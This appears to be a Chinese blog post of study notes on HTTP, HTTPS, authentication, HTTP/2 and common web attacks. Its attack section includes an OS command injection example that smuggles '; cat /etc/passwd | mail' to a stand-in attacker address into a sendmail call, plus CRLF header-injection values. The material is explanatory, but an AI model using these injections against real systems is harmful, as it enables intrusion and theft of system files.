深入理解web前端Web开发技术Web前端之路

HTTP

2016-05-13  本文已影响252人  exialym

HTTP概述

HTTP协议规定,一定是客户端开始建立通信的,也就是说请求一定是从客户端发出,服务器端响应请求,服务器端在没有接收到请求的时候是不会有响应的。

HTTP的请求报文由以下几部分构成:

方法 URI 协议版本
POST /form/entry HTTP/1.1
请求首部字段
Host :baidu.com
Connection:keep-alive
Content-Type:application/......
Content-Length:16
请求实体
name=asdf&age=32

HTTP的响应报文则由以下几部分构成:

服务器端协议版本 状态码 状态码描述
HTTP/1.1 200 OK
响应首部字段
Date:Tue, 10 Jul 2010 06:50:15 GMT
Content-Length:2134
Content_Type: text/html
主体
<'html'>...............
HTTP是无状态协议,即每次有新的请求就会产生新的响应
HTTP1.1中所有的连接默认都是持久连接,即只要任意一端没有提出断开连接,则保持TCP连接状态。这样所有的HTTP请求就可以在一个TCP连接中同时发送,不必每次都要等待上一个TCP的回应了。

HTTP中的方法

HTTP状态码

状态码的第一位代表状态码的类别,这个是强制标准。后两位有一些有约定俗称的规定最好遵守,剩下的服务器自己创建自己要用的状态码都没有问题。

为HTTP服务的那些Web服务器

http服务器可以搭建多个Web站点,每一个Web站点对应一个虚拟主机,这些站点可以有不同的域名。当DNS解析这些域名的时候,都会指向同一个服务器的IP,服务器通过HTTP请求中的Host首部中的完整域名来把请求发送到不同的虚拟主机。
与之配合的还有代理,网关,隧道,缓存服务器等。

HTTP首部字段

在HTTP报文中首部字段是很重要的,给客户端和服务器提供了传输和处理数据的重要信息。在HTTP请求报文中有:请求行(方法、URI、HTTP版本)、请求首部字段、通用首部字段、实体首部字段。在HTTP响应报文中有:状态行(HTTP版本、状态码)、响应首部字段、通用首部字段、实体首部字段。

端到端首部和逐跳首部

端到端首部会转发给请求或响应的最终接收目标,逐跳首部则在单次转发中有效。
各首部字段的详细描述
上面的链接供大家参考
详细记录一下有关cookie的首部字段,在服务器准备开始管理客户端状态的时候,就会发送set-cookie字段给客户端。set-cookie有这么几个属性:

HTTPS

HTTP存在的问题

使用明文进行通信,内容会被窃听
在现有的网络架构下,人们可以从互联网的任何一个节点获取到流经这个节点的HTTP请求。内容如果是不加密的,那就意味着你的信息并不安全。解决办法就是使用内容加密。现在使用的最广泛的就是SSL加TLS。
不验证通信方的身份,可能遭遇伪装
任何人都可以发出请求,任何人都可以拦截请求发出响应。对此的办法就是使用第三方颁发的证书来验证服务器和客户端的身份。
无法验证报文的完整性,有可能在发送的过程中已经遭到篡改
仅靠HTTP协议来保证报文的完整性是不现实的,需要和其他协议共同工作。
HTTPS=HTTP+加密+认证+完整性保护

SSL

SSL为HTTP提供了以上所有问题的解决方案。
以前数据通过HTTP->TCP->IP的处理,现在则多了一层HTTP->SSL->TCP->IP。
SSL并非是HTTP独占,在很多其他的网络应用中同样可以使用。
共享密钥和公开密钥
共享密钥是通过相同的密钥来对数据进行加密和解密,这就涉及到一个密钥传输的问题,如果使用相同的密钥进行加密解密,就势必意味着密钥要在加密和解密的双方进行传递。那么如果我可以安全的进行密钥的传输,我就也能安全的传输数据,就不需要加密了。反之,加密也没用。
于是就有人开发出了公开密钥加密体系。在这个体系中,加密使用的密钥是公开的,使用公钥进行加密后,使用不公开的私钥进行解密。这样一来,信息的接收方把公钥发布在网上而私钥自己持有,信息的发送方使用公钥进行数据的加密并发送,接收方使用自己的私钥进行解密。就解决了这个问题。
不过这样的机制存在两个问题,一个是公钥的合法性。我们不知道这个公钥是不是真正的信息接收方发送的真正的密钥。二是如果每次通信都使用这样的方法进行加密开销很大。
对于第二个问题HTTPS的解决办法是使用公开密钥传送共享密钥,以后双方的通信使用共享密钥加密。
第一个问题就是使用证书了。
公开密钥证书
公开密钥证书是由可信赖的第三方权威机构颁发的。服务器运营的公司会向这些机构申请公钥证书,申请下来的证书包括这个公钥和认证机构使用自己的私钥制作的数字签名。在客户端收到这个公钥证书的时候,就使用权威机构的公钥来解密这个证书,解密成功了就认为这个公钥是可信的。这就又有一个问题,这个权威机构的公钥怎么传输,解决办法就是将各常用认证机构的证书事先放在浏览器中。
当然为了确认客户端的身份也有客户端证书,帮助服务器端来确认这个客户端始终是这个客户端。因为费用和便利性等问题,这个证书只用在安全性较高的应用中,比如网银。
Message Authentication Code
这是在整个HTTPS会话中,应用层在发送报文时为报文加上的报文摘要。简称MAC,MAC能够查知报文是否被遭到篡改,从而保护报文的完整性。

HTTPS通信步骤

  1. 客户端通过发送Client Hello报文来开始SSL通信,报文中包含客户端支持的SSL版本,一个客户端生成的随机数(Client random),加密组件(算法及密钥长度等)。
  2. 服务器可进行SSL通信时,发送Server Hello报文作为应答,在报文中发送服务器端的SSL版本和经过筛选的加密组件以及一个服务器生成的随机数(Server random)。
  3. 服务器发送Certificate报文,包含公钥。
  4. 服务器发送Server Hello Done,SSL最初握手协商部分结束。
  5. 客户端收到公钥证书,验证成功后取出公钥,使用公钥对自己刚生成的pre-master secret随机密码串进行加密,并放在Client Key Exchange报文中发送给服务器端。
  6. 客户端发送Change Cipher Spec报文,提示服务器以后所有的报文都通过pre-master secret随机密码串进行加密。
  7. 客户端发送Finished报文,包含之前所有报文的整体校验值,服务器必须正确解密这个报文,握手才成功。
  8. 服务器也会发送Change Cipher Spec,Finished报文。
  9. 双方的Finished报文交换完毕后,握手成功,客户端和服务器使用以上三个随机数生成接下来所有SSL通信使用的session key。

身份认证方式

这是服务器端认证客户端的方式。

BASIC认证

这个认证就是在收到服务器返回的401需要授权状态码的时候将用户输入的ID和密码用Base64方式编码后发送给服务器。这种编码方式基本就是明文,很不安全。

DIGEST认证

这种认证办法就稍微安全一些,在服务器收到客户端的请求后,随401返回一个临时质询码。客户端根据这个临时质询码,用户的密码及相应的算法生成响应码发回给服务器端。相对来说安全了一些,不过只是防止了密码被窃听。并不能防止用户伪装。也就是说,如果用户的用户名和密码被盗,就没有办法阻止第三方冒充。

SSL认证

这里说的是SSL客户端认证。首先需要将客户端证书分发给客户且客户端安装了这个证书。通信时服务器会以Certificate Request报文要求客户端提供客户端证书,用户选择发送后就会把证书以Client Certificate报文方式发送给服务器,服务器确认证书无误后领取证书中的公钥开始HTTPS通信。
一般SSL认证都采取密码加证书的方式来验证。也就是验证规定的人在规定的客户端登录。

基于表单的认证及Session管理

由于BASIC与DIGEST并不安全,SSL又有较高的购买证书的成本。所以大多数的Web应用都使用基于表单的认证。
客户端将用户填的表单放在报文的实体部分,通常以POST请求发送给服务器。当然这里的数据交换是使用HTTPS的。
服务器端验证客户端发来的登录信息,然后把用户的认证状态和SessionID绑定后纪录在服务器端,向客户端返回响应时将SessionID放在Set-Cookie中返回。SessionID必须妥善传输与保存,别人拿到了SessionID就相当于拿到了你的通行证。保证SessionID安全的措施有:SessionID有有效期;SessionID生成的时候很复杂;使用HTTPS传送;在Cookie上加入httponly属性防止JS获取Cookie防止XSS。
客户端拿到SessionID后会存下,下次向这个服务器发送请求时会带上这个SessionID。

关于服务器端密码的保存

服务器保存客户的密码通常先给密码加盐,在用hash函数计算出散列值之后保存。加盐就是随机生成一个足够长的字符串,与密码串进行拼接。这样就算两个人或同一个人在不同网站的密码相同,加盐后也不同了。

基于HTTP的功能增加协议们

HTTP的瓶颈

Ajax

Ajax的核心就是使用JS语句调用XMLHttpRequest的API直接与服务器进行HTTP通信。这样就能从加载完毕的页面向服务器发起请求,只更新局部页面。但是这并没有解决HTTP本身的问题,每一次Ajax请求依旧存在着上述问题。

Comet

客户端向服务器发送确认是否有更新内容的请求,服务器不会进行立即的响应,而是等着内容真的有更新的时候将响应发回,理论上做到了实时更新内容,但是为了保留响应,一次连接的时间变长了,期间为了维持连接也消耗了更多的资源。仍未解决HTTP的根本问题。

SPDY

HTTP的根本性改善一定是在协议层面上的。Google提出来SPYD。SPYD并未完全改写HTTP只是在HTTP(应用层)和SSL(表示层)之间加了SPYD(会话层)。SPYD提供了以下几个功能:

WebSocket

WebSocket是一套新的协议及API。实现Web服务器与Web浏览器的全双工通信。一旦服务器与客户端之间建立起来WebSocket的连接,之后所有的通信都通过这个专用协议进行。可以互相发送JSON,XML,HTML或图片等任意格式的数据。WebSocket是建立在HTTP基础上的协议,所以连接的发起方仍然是客户端。一旦确立WebSocket连接,任意一方都可以直接向对方发送报文。
为了实现WebSocket通信,需要在客户端发送请求时在HTTP的Upgrade字段写上协议的变化:
Upgrade: web socket
Sec-WebSocket-Key:odhfiwfiqugwefhnwloihbi==
Sec-WebSocket-Protocol:chat,superchat
Sec-WebSocket-Version: 13
服务器收到这样的请求时返回101协议改变状态码,以及相应字段的值。
这样就算握手成功了,之后通信采用WebSocket独立的数据帧。
JS可以调用WebSocket API

var socket = new WebSocket('ws://game.example.com:12010/updates');
socket.onopen = function(){
    socket.send(getUpdateData());
};

HTTP/2.0

HTTP/2.0主要围绕7项技术来进行讨论。以三个协议为基础:SPYD、HTTP Speed+Mobility和Network-Friendly HTTP Upgrade。

在HTTP/2.0中,并不会改变现有的HTTP 语义,HTTP 方法、状态码、URI 及首部字段。主要将改变聚焦在性能的提高上:改进传输性能,实现低延迟和高吞吐量。对于应用的开发者来说这是好事,意味着并不用修改很多就可以用上性能更高的新一代协议。

二进制分帧

2.0最核心的性能增强在二进制分帧,它将所有传输的信息分割为更小的消息和帧并采用二进制格式的编码,其中1.0中国的首部会被封装到Headers帧,请求和响应实体会被封装到data帧。所有通信在一个连接上完成,这个链接可以承载任意数量的双向数据流,每个数据流以消息的形式发送,消息由一个或多个帧组成,帧可以乱序发送,最后根据每个帧首部的标识符重新组装。这就意味着每个二进制帧都要有头部信息,否则最后无法组装。那么首部就需要压缩优化,否则。。。。。

首部压缩

在2.0中,服务器和客户端同时使用首部表来维护首部的键值对,每次通信只发送与上次首部中内容不一样的部分,所以像是用户代理等等几乎不会发生变化的首部内容只发送一次,这也就意味着有时首部的开销是0哦。

一个连接处理所有请求

比如你请求一个页面,这个页面上所有的HTTP请求都是在这一个TCP连接中完成的。
还记得合并文件和Sprite合图嘛,就是把小js和css文件合在一个文件里,各种小图合在一个Sprite图里,以减少HTTP请求。这个在HTTP/2.0里再也不用管啦~
TCP在长时间传输大块数据时效率比较高,然而HTTP的特点是突发,数据量小。这时为每个HTTP通信建立一个TCP连接显然就不划算了,要有效的使用TCP连接,就将HTTP通信放在一个连接里咯。这样做就使上面这类资源合并减少请求的优化手段显得没有必要了。

并行双向字节流的请求和响应

在HTTP/2.0上,客户端和服务器可以把HTTP消息分解为互不依赖的帧,然后乱序发送,最后再在另一端把它们重新组合起来。这也就意味着:可以并行交错地发送请求,请求之间互不影响。可以并行交错地发送响应,响应之间互不干扰。只使用一个连接即可并行发送多个请求和响应。消除不必要的延迟,从而减少页面加载的时间。

请求优先级

在乱序发送请求和响应的过程中,有时你想要优先收到某些响应,比如先收HTML文件再收img,这时你就可以将HTML的优先值设高一点。但这个优先并不是绝对的,只是会在有条件的情况下优先,否则就又成了顺序请求从而造成阻塞了。

服务器推送

HTTP/2.0中服务器可以对一个客户端请求发送多个响应,这也就意味着服务器可以额外像客户端推送资源。

Web的攻击技术

输出值转义不完全

跨站脚本攻击
说白了就是通过在访问有漏洞的网站的用户的浏览器中运行非法的HTML标签或者JS代码。通常通过用户输入或URL请求动态创建的HTML页面容易出现这个漏洞。攻击者可以诱骗用户发送含有恶意代码的URL,在用户得到返回的HTML时,恶意代码也就运行了。
SQL注入攻击
和上面的原理差不多,有的网站将URL的参数作为查询条件等直接写入SQL语句。这样通过巧妙的拼凑可能会使服务器执行不应执行的操作。
OS命令注入攻击
有的Web应用是可以通过调用Shell命令来执行操作系统命令的。这时如果不注意的话,有可能会被强行植入恶意OS命令。
比如一个邮件应用,执行这个命令:

open(MAIL,"| /usr/sbine/sendmail $adr")//其中$adr是用户输入的邮件地址

攻击者如果输入这么一段地址:

; cat /etc/passwd | mail hack@example.com

而服务器端并没有验证这是否是一个有效的Email地址就直接执行时,这个命令就变成了这样:

| /usr/sbine/sendmail ; cat /etc/passwd | mail hack@example.com

含有账户信息的/etc/passwd就被发到指定文件夹了。

HTTP首部注入攻击
顾名思义就是修改HTTP首部的攻击。原理也很简单,利用有些Web应用会使用URL参数或用户输入来生成HTTP首部的某些字段,攻击者在这些值后面加上“%0D%0A”也就是换行符,再跟上恶意头部键值对,比如"Set-Cookie:+SID=134",那么首部就被插入了一个意外值。在这里,用户的Cookie被设置为了攻击者想设置的值,为会话固定攻击打下了基础。
HTTP响应截断
刚才是插入一个换行符,如果插入两个,就可以伪造响应主体部分了。
邮件首部注入攻击
如果在邮件地址栏填入asdfasdf@asd.com%0D%0AText Message,就把邮件内容改为了Text Message。和HTTP首部注入一个原理。利用换行符代表分隔符这个特性。
目录遍历攻击
有些时候Web应用通过用户指定的目录来访问资源,这里一不注意就可能被发现可以使用../等操作符访问到不想开放的目录上。
远程文件包含漏洞
这是老版本PHP的漏洞,原理就是使用PHP的include可以包含跨域的文件这个特性,将恶意代码包含进来。

设置或设计上的缺陷

强制浏览
这个就是说有一些资源是通过认证的用户才可以浏览的,比如一片私人的博客,但是里面的图片,如果你能得到它的URL,直接访问这个URL就能访问到这张本来是需要授权才能看的图片。
不正确的错误消息处理
有些报错是不需要对用户显示的,比如数据库语句错误,服务器错误等。对用户没用,但有心人 可能会以此推断出潜在的漏洞。
开放重定向
网站如果开放重定向功能就意味着可以跳转到任意指定的URL。这就可能被利用跳转到恶意网站。

会话管理疏忽

会话劫持
通过XSS等攻击从用户的Cookie里盗取会话ID,利用此会话ID伪装成用户。
会话固定攻击
强制用户使用攻击者指定的会话ID。首先攻击者访问服务器拿到一个会话ID,此时这个ID还没有认证,将这个会话ID强制给用户A(HTTP头部注入攻击之前提到过),用户A在不知情的情况下使用这个ID到服务器认证,用户A和这个ID绑定了,之后攻击者就可以使用这个ID来冒充用户A了。
跨站点请求伪造
攻击者通过以设置好的陷阱,强制对已完成的用户进行非预期的操作。比如通过已经认证的用户登录他的帐号发评论等等。被攻击的用户拥有合法的会话ID,攻击者通过篡改用户的HTTP请求,利用用户的合法ID做出操作。

其它

密码破解
试错:穷举法,字典攻击;
对已加密密码的破解:
已加密的意思是攻击者获取到了直接算了散列的密码或加盐散列的密码。
通过穷举,字典来算散列对照;
彩虹表直接对照
拿到密钥
加密算法漏洞
点击劫持
利用透明页面,诱使用户点击看不到的按钮
DoS攻击
大量合法请求使服务器停止服务,多台计算机发起的就是DDoS
后门程序
啊哦

上一篇下一篇

猜你喜欢

热点阅读